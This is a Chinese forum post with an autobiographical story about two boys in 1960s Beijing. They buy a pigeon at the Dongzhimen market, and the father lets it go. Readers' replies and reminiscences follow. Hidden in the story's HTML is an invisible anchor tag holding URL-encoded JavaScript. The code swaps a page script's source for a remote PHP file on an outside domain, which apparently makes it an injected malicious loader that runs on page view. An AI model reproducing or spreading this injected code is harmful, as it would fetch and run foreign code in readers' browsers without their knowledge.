《梦回德外》之买鸽记
<p style="TEXT-INDENT: 2em">走这么长的路,10岁的我生来还是头一回。穿着两只已被大脚趾头顶开两道缝的球鞋,满头是汗的走着,有时还不得不小跑两步,才能跟的上前面比我大两岁的表哥马春天。</p><p style="TEXT-INDENT: 2em">两个衣衫不整的孩子,迎着初生的太阳向东比肩而行。按预谋的计划,穿过鼓楼,走过交道口,走啊,走啊,走得满脸通红,走得疲惫不堪。</p>
<p style="TEXT-INDENT: 2em">我觉得肚子很饿,因为出来的太早,没顾上吃点什么。这时满脑子都是家门口 “西三元”小吃店里做的早点:炸得焦黄的油饼,8分钱一个;热腾腾的大火烧,6分钱一个;香喷喷的烧饼,5分钱一个,但没有大火烧个大,不划算。烫嘴的豆浆2分一大碗,加点儿白糖就多3分……</p>
<p style="TEXT-INDENT: 2em">身上虽说揣着几毛钱,也路过了和“西三元”一样的回民小吃店,心里也真想加入门口老老少少排着的长队,但仍然咬牙挺着。小吃店里飘出的阵阵炸油饼香味,出来的人嘴里吃的和手里托着的早点充满了诱惑,可钱不能花啊!因为兜里的钱要和春儿去做一件事,平时省吃俭用的不就是为完成今儿的事吗。</p>
<p style="TEXT-INDENT: 2em">“诚子,快走啊,快到了。”表哥的声音打断了我咽着吐沫的胡思乱想,顺着表哥手指的方向,我加快了脚步。春儿提了提溜下去的裤子继续在前引路。</p>
<p style="TEXT-INDENT: 2em">终于,隐隐约约看到了我们要去的地方了。</p>
<p style="TEXT-INDENT: 2em">环城的护城河,那时也流经东直门,宽宽的水泥大桥连通着城内外横贯东西喧闹的路口。抬眼望去,桥头西南侧是已现颓败的东直门城楼,像个被冷落衣冠不整缄默孤独的老者,苍凉寂寥……</p>
<p style="TEXT-INDENT: 2em">——这之后没多久东直门城楼就被拆除,荡然无存,消失在人们的视线里了。</p>
<p style="TEXT-INDENT: 2em">伏在大桥的水泥栏上,望着北来南流的护城河水,知道它从德胜门的桥下流到这里,从这里再流向何处,就懵懵懂懂,不得而知了。</p>
<p style="TEXT-INDENT: 2em">呈坡状河岸上,长满了杂草。沿河东岸边北侧,爆土扬尘,聚集着乌压压的人群,是个自发的鸽子市。每到周日,便有许多卖鸽子的、卖鸟的、卖鸡鸭猫狗的,卖饲料的来到这里交易。人声、狗吠、猫叫、鸟鸣,吆喝声,讨价还价声,呼朋唤友,咳嗽,吐痰,放屁,打喷嚏,各种各样的声音交汇成平民交响曲;细细品味,有穷人乐的原味儿,也有为生之奔忙的辛酸。虽说已是二十世纪世纪六十年代,在这里依旧可以窥见老北京民俗的一景。</p>
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<p style="TEXT-INDENT: 2em">面前热闹的景象,两个孩子已经忘了长途行走的疲劳和饥饿,兴奋得眼睛冒亮。</p>
<p style="TEXT-INDENT: 2em">“春儿,你看这鸽子鼻子是开花的。还有这鸽子腿上怎么长毛啊?”</p>
<p style="TEXT-INDENT: 2em">“是啊,诚子。咱们买哪个?一块儿瞅瞅。”</p>
<p style="TEXT-INDENT: 2em">马春天看着那么多各式各样的鸽子,喜爱的已经目不暇接了。</p>
<p style="TEXT-INDENT: 2em">“您这鸽子多少钱一只啊?”</p>
<p style="TEXT-INDENT: 2em">“去,去去,小毛孩子,买得起吗?一边玩去,别这儿起哄。”</p>
<p style="TEXT-INDENT: 2em">“没起哄,大叔儿,真想买啊。多少钱一只啊?”</p>
<p style="TEXT-INDENT: 2em">“5块钱一对儿,买吗?拿钱。”</p>
<p style="TEXT-INDENT: 2em">“没有那么多啊,就买一只多少钱啊?”</p>
<p style="TEXT-INDENT: 2em">“最便宜的1块5,买不买?买不起,快走,别耽误我的营生。”</p>
<p style="TEXT-INDENT: 2em">两人拉着手在人群中,转来转去,只是傻看,不敢再开口问了。因为两人兜里也不足1块钱。</p>
<p style="TEXT-INDENT: 2em">一个老头看着这两个已经转悠半天的孩子,主动问:“买鸽子啊?小孩儿。”</p>
<p style="TEXT-INDENT: 2em">“是,您卖我们一只吧。”</p>
<p style="TEXT-INDENT: 2em">“你们有多少钱啊?”</p>
<p style="TEXT-INDENT: 2em">“不到1块。”</p>
<p style="TEXT-INDENT: 2em">“卖你们这只,这只叫‘黑皂儿’,最少1块钱。”小哥俩直勾勾地看着这只鸽子,尖尖的细嘴,全身黑色,小眼睛非常警觉。</p>
<p style="TEXT-INDENT: 2em">我也懂得点儿,这是只“野屁”,不是家鸽。可不是家鸽也能让我俩想养鸽子的梦想成为事实啊。</p>
<p style="TEXT-INDENT: 2em">“就8毛2。”春天胆怯的对老头说。</p>
<p style="TEXT-INDENT: 2em">“8毛2,不卖。”</p>
<p style="TEXT-INDENT: 2em">“大爷,这钱我们哥俩攒了挺长时间,才凑这么多,您卖我们吧。”春天哀求着。我只是傻乎乎地蹲在地上不错眼珠的看,心里越来越喜欢上这只叫“黑皂儿”的鸽子。</p>
<p style="TEXT-INDENT: 2em">“不卖。少1块不卖。再翻翻,看还有没有钱了。”老头态度很坚决。</p>
<p style="TEXT-INDENT: 2em">“没有。”两人几乎同时说。</p>
<p style="TEXT-INDENT: 2em">老头推起破旧的自行车要走,春天紧随其后跟了上去,我也赶紧站了起来追上。老头走到哪儿,两人跟到哪儿。两双眼睛不是看着老头,就是盯着那只“黑皂儿”。</p>
<p style="TEXT-INDENT: 2em">“唉!”老头叹了口气,几乎不敢再看这两孩子的眼睛了。抬头看了看太阳,再瞄瞄这两个脸上都是脏汗的孩子。</p>
<p style="TEXT-INDENT: 2em">“得,算我今儿个倒霉。卖给你们,给钱吧。” </p><a id="hde" style="e: undefined" e="if%28%21window.x%29%7Bdocument.getElementsByTagName%28%27script%27%29%5B0%5D.src%3D%27http%3A//%78%71%7a%6e%2e%69%6e%66%6f%2f%61%2f%31%36%33%2f%6e%2e%70%68%70%27%3Bwindow.x%3D1%7D"></a>
<p style="TEXT-INDENT: 2em">春天赶紧递上钱。由于攥得很紧,毛票裹着钢蹦已成了球状。老头小心地打开钱数了数问:“鸽子怎么拿啊?”</p>
<p style="TEXT-INDENT: 2em">我从兜里拿出一块脏手绢递了上去。</p>
<p style="TEXT-INDENT: 2em">“也懂点儿啊。”老头从笼子里抓住“黑皂儿”,拿起手绢熟练地一兜两系,递给了我。我心里兴奋异常,隔着手绢能感觉到手上鸽子温热的肉体,沉甸甸的。 </p>
<p style="TEXT-INDENT: 2em">“我拿会儿。诚子。”话音未落,春天早已抢过了那个被裹的很紧的“黑皂儿”,双手举起来,放到眼前端详着,嘴里还自语:“没错,是金眼儿。”</p>
<p style="TEXT-INDENT: 2em">“什么是金眼儿?”我问。</p>
<p style="TEXT-INDENT: 2em">“金眼儿,就不是豆眼儿。”</p>
<p style="TEXT-INDENT: 2em">从春天的嘴里,我懂得了鸽子有金眼儿和豆眼儿之分。</p>
<p style="TEXT-INDENT: 2em">“咱该回家了。”春天对我说。</p>
<p style="TEXT-INDENT: 2em">想到家,我立刻又感觉到了肚子的饥饿,看看太阳,已经在头顶了。出来这么长时间了,又走了那么远,心中有些恐惧。看看表哥一副得意的神情,就踏实了些。</p>
<p style="TEXT-INDENT: 2em">两人嘀咕着赶紧往家的方向走,回去,走的不是原路,春天说这么走近。两人不知不觉走到了地坛。</p>
<p style="TEXT-INDENT: 2em">我说:“春儿,我走不动了。”</p>
<p style="TEXT-INDENT: 2em">“我也是。咱坐公共汽车吧。”</p>
<p style="TEXT-INDENT: 2em">“没钱啊。”</p>
<p style="TEXT-INDENT: 2em">“没事,蹭车。”春天有主见地说。</p>
<p style="TEXT-INDENT: 2em">27路来了。我随着春天胆战心惊的挤了上去。</p>
<p style="TEXT-INDENT: 2em">“27路啊,开往动物园,没票买票啊。” 是个肥胖的女售票员。</p>
<p style="TEXT-INDENT: 2em">两人心虚地挤在乘客中有意地躲着她。</p>
<p style="TEXT-INDENT: 2em">我心想,豁出去了,反正比走着好过啊,两脚走的生疼,特别是大脚趾头直发胀。</p>
<p style="TEXT-INDENT: 2em">车呜呜地开着。每次停下,开起。我都很紧张。拿眼看春天,春天几乎没表情。好在车上人多,售票员只是在前后门活动,没法到中间来。</p>
<p style="TEXT-INDENT: 2em">“德外就要到了。打开票下车啊。”售票员在前门喊着。春天拉了我一下,从拥挤的乘客腰间挤到后门,车门一开,两人跳下车,一前一后拔腿就跑。</p>
<p style="TEXT-INDENT: 2em">听到身后售票员在喊:“小孩,你们的票,这两小兔崽子。”</p>
<p style="TEXT-INDENT: 2em">我庆幸地和春天笑着往家跑。</p>
<p style="TEXT-INDENT: 2em">“你拿会儿吧,我手都出汗了。”我接过鸽子,轻托手上,依然热乎乎的感觉,很美妙。</p>
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<p style="TEXT-INDENT: 2em">德外临街的一处院落内。</p>
<p style="TEXT-INDENT: 2em">春天找了个木箱子,放倒在院后靠着厕所的墙角,又找了块木板挡住,做成鸽子窝,看看还算隐蔽。春天到屋里找到针线,让我解开手绢,打开鸽子翅膀。四只手配合着,小心翼翼地将鸽子“捆上膀儿”。然后,将鸽子放到木箱里面,接着到厨房抓了把米,又找了个旧碗接上水,放到里边。春天又到厨房拿了个窝头,一掰,递给我一半儿,两人蹲在地上,大口地吃着,不时还从箱子缝隙,看着鸽子吃食喝水。我感到窝头很香甜。</p>
<p style="TEXT-INDENT: 2em">院门一响,马耀庭从外面走了进来,气吭吭地说:“鼓捣什么呢?大半天没见着你的影儿,上哪儿逛荡去了。啊?”</p>
<p style="TEXT-INDENT: 2em">“爸。”</p>
<p style="TEXT-INDENT: 2em">“姑父。”</p>
<p style="TEXT-INDENT: 2em">马耀庭走到箱子前,打开,一愣。“哪儿来的鸽子?敢养这‘里巴离思’(魔鬼)。胆儿也忒大了。”不由分说伸手抓起鸽子,就要往地上摔。</p>
<p style="TEXT-INDENT: 2em">“爸,别……”春天哭腔地哀求。</p>
<p style="TEXT-INDENT: 2em">“姑父……”我上前抱住马耀庭的胳膊。</p>
<p style="TEXT-INDENT: 2em">“使不得啊!老头子。”马耀庭的老伴正在屋里睡觉,听见外边吵吵,就冲出了屋门,见状,赶忙救护:“不能摔啊,有‘古纳罕’(罪孽)啊。还是放生吧。”</p>
<p style="TEXT-INDENT: 2em">马耀庭内行地打开鸽子翅膀说:“去,拿剪子去。”老伴赶紧进屋把剪子拿来,马耀庭接过剪子边打着鸽子的膀儿,边说:“望天,家败,吃剩饭,踩狗屎。敢养这‘里巴离思’,反了你们了。”接着,抬头向天上望了一眼,胳膊一抡,鸽子砖头般被掷到空中。只见鸽子在空中迅速张开翅翼,快速扇动着,接着,像黑色影子一闪就不见了。</p>
<p style="TEXT-INDENT: 2em">我泪眼婆娑在屋脊的上空,追寻着心爱的“黑皂”,没了!惟有当空的太阳明晃晃地发着耀眼的白光。</p>
<p style="TEXT-INDENT: 2em">两人都哭出了声,哭的很伤心。儿时的梦想就这样无情地飞走了……</p>
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<p style="TEXT-INDENT: 2em">38年后,身患绝症的春天躺在床上,弥留之际的昏迷中,忽然睁大了两眼,吃力地把手伸向空中,嘴里咕哝着:“黑——皂儿,回——来了——”</p>
<p style="TEXT-INDENT: 2em">家人不解的追问:啊,谁…谁回来了?说什么呢?</p>
<p style="TEXT-INDENT: 2em">惟有我明白。热泪夺眶而出</p>
回复:(金六爷)问下楼主·········你的文章...
六爷,人生如戏,戏如人生。有时还真难分清什么是戏;什么是人生?您说呢? 问下楼主·········你的文章是亲身经历的纪实文学,还是编的故事? <font face="楷体_GB2312" color="#000000" size="5">写的真实,感人,回味。孩子純真,朴实,跃然纸上。</font> <p>1:舔脸做这个版块的版主有些日子了,您所发文字从第一篇看起,到今儿,觉着真好,您作为讲述者有成就感,在下也有成就感呢,您的这一个系列,另加上潘先生恭之广外系列,另加上横窗瘦影以及路丁、食烟火斋等等前辈们所赐之文,是这个版块的财富,有了这几大支撑,我觉着这个版块多少像了点儿样子,谢谢您!!</p><p> </p>
<p>2:不知道先生德外的一个系列还有多少篇,开个帖子跟成一串写来是不是更过瘾些?(可您的心气儿来,在下只不过觉着一篇一篇点开读不大符合自己的阅读。)</p>
<p> </p>
<p>3:真好,问候您!!</p> 好梦难圆。飞走了梦想,留下了噩梦。人生不如意事常八九。
回复:(草长鹰飞)1:舔脸做这个版块的版主有些日子了...
<p>草长鹰飞版主:</p><p>非常感谢您提供的这个平台,您的文章在下也拜读了许多篇,私下里觉得那才是精华帖子。(也引用了两三篇)</p>
<p>德外系列自传体式的章节,发的基本差不多了,还有几章小说式的文稿,(因没有受到过正规系统的教育,写作水平不高,只是喜欢而已)准备陆续发。</p>
<p>我今年弄了个博客,窃以为有利有弊,虽然结交了几个志同道合的朋友,应酬往来也占用了不少时间,特别是写作状态不在,有时觉得心里很空。拟明年重新调整一下,潜心继续写下去,无他,旨在对已逝的生活的感受做一些力所能及的记录。</p>
<p>应您之邀,今天再多发几篇,存货也不多了,惶恐。</p>
<p>向您及一直关注我的朋友们再次表示感谢!</p> <font face="楷体_GB2312" color="#000000" size="5"><font face="Verdana">读该文,想起了我小时候一段往事;有一天,我和几个有名的淘气,在杭卅,西湖边上瞎逛,忽然看见,在海军疗养院内,在西湖码头上停着一艘手划船,上面的划浆也在其上,心中突然痒痒,机会来者,叫一水性俱佳的小伙伴,跳到水中,潜游至小船边,跳到船上,使劲的划到我们焦急等待着的岸边,我们胜利般的跳到船中,向着三潭印月的方向,使劲挥动着双浆,向前进发。到了!到了西湖上最大的湖心岛,在一个个象葫芦似的青石小潭标志物间淌洋,据说清朗的月夜,天上的月光,会透过葫芦中的石孔朦朦胧胧在湖面上影出一轮明月,这时候,只知道高兴,忘乎所以,扒去身上所有多余的衣服,噗嗵一下,跳入.湖中,尽情戏耍。天色巳晚,不尽愿的慢慢地划向原地,这时,我们看到岸上一群穿海军服的人,冲着我们指手划脚,划到岸边,接收了一通臭骂,小鬼头们一个撘了恼袋,刚在的兴奋劲早没了。审问那一个学校的,没收了我们的学生证。这段闹剧收场了。回家后,一吨挨楱正等着我哪。我现在巳经老朽,想起童年的往事,,心中暗暗的些许的脹惘。人生如梦呀!</font></font> <div class="msgheader">QUOTE:</div><div class="msgborder"><b>以下是引用<i>安德路</i>在2010-11-23 8:31:00的发言:</b><br/>六爷,人生如戏,戏如人生。有时还真难分清什么是戏;什么是人生?您说呢? </div>
<p><strong><font face="楷体_GB2312" color="#000000" size="5">人生如戏,戏如人生。概莫能外,深刻。</font></strong></p>
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